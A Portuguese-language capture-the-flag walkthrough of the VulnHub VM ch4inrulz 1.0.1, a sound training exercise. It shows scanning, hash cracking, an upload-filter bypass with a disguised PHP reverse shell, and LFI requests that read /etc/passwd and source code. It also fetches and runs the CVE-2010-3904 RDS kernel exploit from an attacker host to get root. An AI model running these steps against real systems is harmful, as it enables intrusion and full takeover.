ch4inrulz: 1.0.1

Estou aqui novamente para apresentar mais uma boot2root VM para vocês. Dessa vez lhes trago ch4inrulz: 1.0.1.
Essa máquina possui o nível de dificuldade Intermediário e foi lançada em 31 de Julho de 2018.
O download pode ser realizado em https://www.vulnhub.com/entry/ch4inrulz-101,247/.
Sem mais delongas, vamos ao que interessa!

Como sempre começamos com o host discovery:

$netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished! | Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:00 1 60 Unknown vendor
192.168.56.100 08:00:27:db:f6:ab 1 60 PCS Systemtechnik GmbH
 192.168.56.101 08:00:27:ce:6b:bd 1 60 PCS Systemtechnik GmbH 

Agora que já identificamos nosso alvo, podemos descobrir quais são os serviços existentes nesse host:

$nmap -sV -sC -Pn -p- 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-12 19:57 EST
Nmap scan report for 192.168.56.101
Host is up (0.00021s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
|   2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_  256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp   open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:CE:6B:BD (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds

Identificamos apenas os serviços FTP, SSH e HTTP em execução.

Bem…vamos começar nossa jornada realizando um directory brute force na aplicação Web (TCP-80).

$./dirsearch.py -u 192.168.56.101 -e html,php,htm -f -t 20 -x 403

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: html, php, htm | Threads: 20 | Wordlist size: 20018

Error Log: /root/Documents/tools/dirsearch/logs/errors-18-11-12_20-00-42.log

Target: 192.168.56.101

[20:00:42] Starting: 
[20:01:07] 200 -    1KB - /css/
[20:01:09] 401 -  481B  - /development/
[20:01:15] 200 -  908B  - /img/
[20:01:16] 200 -   13KB - /index.html
[20:01:17] 200 -    1KB - /js/

Task Completed

Como vocês podem ver, existe um diretório chamado /development/ que aparentemente solicita autenticação (http code 401).

Captura de tela de 2018-11-12 23-13-41

Como ainda não possuímos a credencial, vamos seguir em frente.

Hora de executar um scan com nikto em busca de alguma informação relevante.

$nikto -h 192.168.56.101
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        80
+ Start Time:         2018-11-12 20:19:55 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 1051931, size: 13516, mtime: Sat Apr 14 09:39:32 2018
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.html.bak
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8497 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2018-11-12 20:20:35 (GMT-5) (40 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Ótimo! Devido ao mod_negotiation estar habilitado com Multiviews, foi possível realizar um filename bruteforcing através do nikto. Com isso identificamos o arquivo index.html.bak.

Captura de tela de 2018-11-12 23-44-22

Que maravilha…conseguimos a credencial de acesso da área protegida.

Captura de tela de 2018-11-12 23-55-16

Vamos tentar quebrar essa senha com o john.

$john frank_hash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
frank!!!         (frank)
1g 0:00:00:00 DONE 1/3 (2018-11-12 20:57) 5.555g/s 1044p/s 1044c/s 1044C/s frank!!..fr4nk
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/Documents/stuffs#

Em segundos! Agora é só autenticar na área protegida.

Captura de tela de 2018-11-13 00-01-11

Aparentemente existe uma ferramenta de upload (uploader tool) disponibilizada pelo desenvolvedor…

Dessa vez vamos utilizar o bom e velho dirb.

$dirb http://192.168.56.101/development -H 'Authorization: Basic ZnJhbms6ZnJhbmshISE=' -r

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Nov 12 21:44:07 2018
URL_BASE: http://192.168.56.101/development/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
ADDED_HEADERS:
--
Authorization: Basic ZnJhbms6ZnJhbmshISE=
--
OPTION: Not Recursive

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.101/development/ ----
+ http://192.168.56.101/development/index (CODE:200|SIZE:144)
+ http://192.168.56.101/development/index.html (CODE:200|SIZE:144)
==> DIRECTORY: http://192.168.56.101/development/uploader/

-----------------
END_TIME: Mon Nov 12 21:44:20 2018
DOWNLOADED: 4612 - FOUND: 2

identificamos o Frank Uploader script beta version.

Captura de tela de 2018-11-13 00-47-04

Aparentemente a ferramenta possui algumas features de segurança. Como por exemplo verificação da extensão do arquivo…

Captura de tela de 2018-11-13 20-21-43

e verificação do mime type.

Captura de tela de 2018-11-13 20-26-25

Logo, teremos que criar uma “imagem” maliciosa!

Vamos começar renomeando nossa reverse shell em PHP para GIF. E em seguinda, adicionando a palavra GIF98 na primeira linha do arquivo. Dessa maneira, estamos mudando o formato do arquivo para GIF (Mime type bypass) .

Captura de tela de 2018-11-13 21-36-21

Upload realizado com sucesso! Porém, para aonde foi nosso arquivo malicioso?

Após perceber o quanto sou péssimo com PATTERNS, decidi seguir em frente enumerando o que restou da máquina.

A saída do nmap também nos mostrou que temos um serviço http listening na 8011.

Captura de tela de 2018-11-13 22-00-59

Novamente vamos executar o dirsearch.

$./dirsearch.py -u 192.168.56.101:8011 -e html,php,htm -f -t 20 -x 403

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: html, php, htm | Threads: 20 | Wordlist size: 20018

Error Log: /root/Documents/tools/dirsearch/logs/errors-18-11-13_19-07-14.log

Target: 192.168.56.101:8011

[19:07:14] Starting: 
[19:07:33] 200 -  351B  - /api/
[19:07:51] 200 -   30B  - /index.html

Task Completed

Identificamos um diretório chamado /api/.

Captura de tela de 2018-11-13 22-12-18

Após alguns testes, verificamos que apenas o arquivo file_api.php é válido.

Captura de tela de 2018-11-13 22-15-45

Hum..”No parameter called file passed to me”. Logo…

Captura de tela de 2018-11-13 22-17-38

Tudo indica que o backend faz algum tipo de filtragem no input.

No momento que passamos o parâmetro via POST…

$curl -X POST -d "file=/etc/passwd" http://192.168.56.101:8011/api/files_api.php
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false

Voilà…LFI!

Da mesma maneira que fizemos com a máquina Wakanda, vamos utilizar essa falha para ter acesso ao código fonte via Local File Include.

$curl -X POST -d "file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php" http://192.168.56.101:8011/api/files_api.php

PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo=

Após o decode…

$echo "PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo=" | base64 -d

Captura de tela de 2018-11-13 22-36-18

Acabamos de descobrir onde nosso arquivo malicioso foi parar.

Captura de tela de 2018-11-13 22-38-40

Precisamos apenas executá-lo.

$curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/rshell.gif" http://192.168.56.101:8011/api/files_api.php

E aguardar a conexão reversa.

$nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 34533
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
 04:26:04 up 15:02,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$

Com acesso não privilégiado ao alvo, conseguimos coletar a primeira flag.

$ cat /home/frank/user.txt
4795aa2a9be22fac10e1c25794e75c1b
$

Hora de escalonar privilégio.

Para facilitar nossa vida, executamos o script linux-exploit-suggester.

$ ./linux-exploit-suggester.sh

Available information:

Kernel version: 2.6.35
Architecture: x86_64
Distribution: ubuntu
Distribution version: 
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

70 kernel space exploits
34 user space exploits

Possible Exploits...

Um dos primeiros possíveis exploits que o script nos trouxe foi o rds.

[+] [CVE-2010-3904] rds

   Details: http://www.securityfocus.com/archive/1/514379
   Tags: debian=6,ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-21-generic}
   Download URL: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c

Após o download, precisamos apenas compilá-lo e executá-lo.

$ wget http://192.168.56.102:80/rds64.c
--2018-11-13 05:52:56--  http://192.168.56.102/rds64.c
Connecting to 192.168.56.102:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7156 (7.0K) [text/x-c]
Saving to: `rds64.c'

     0K ......                                                100% 2.72M=0.003s

2018-11-13 05:52:56 (2.72 MB/s) - `rds64.c' saved [7156/7156]

$ gcc rds64.c -o rds64
$ ./rds64
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xffffffff81ce8df0
 [+] Resolved default_security_ops to 0xffffffff81a523e0
 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
 [+] Resolved commit_creds to 0xffffffff810852b0
 [+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xffffffff81ce8df0
 [+] Resolved default_security_ops to 0xffffffff81a523e0
 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
 [+] Resolved commit_creds to 0xffffffff810852b0
 [+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xffffffff81ce8df0
 [+] Resolved default_security_ops to 0xffffffff81a523e0
 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
 [+] Resolved commit_creds to 0xffffffff810852b0
 [+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
id
uid=0(root) gid=0(root) groups=0(root)

\0/

$cat /root/root.txt
8f420533b79076cc99e9f95a1a4e5568

Até a próxima semana como mais uma máquina.

Referências:

http://securityhorror.blogspot.com/2015/02/apache-modnegotiation-filename.html
http://www.htaccess-guide.com/password-protection/
https://github.com/mzet-/linux-exploit-suggester
https://github.com/lucyoa/kernel-exploits/tree/master/rds

Um comentário em “ch4inrulz: 1.0.1

  1. Pingback: PwnLab: init

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.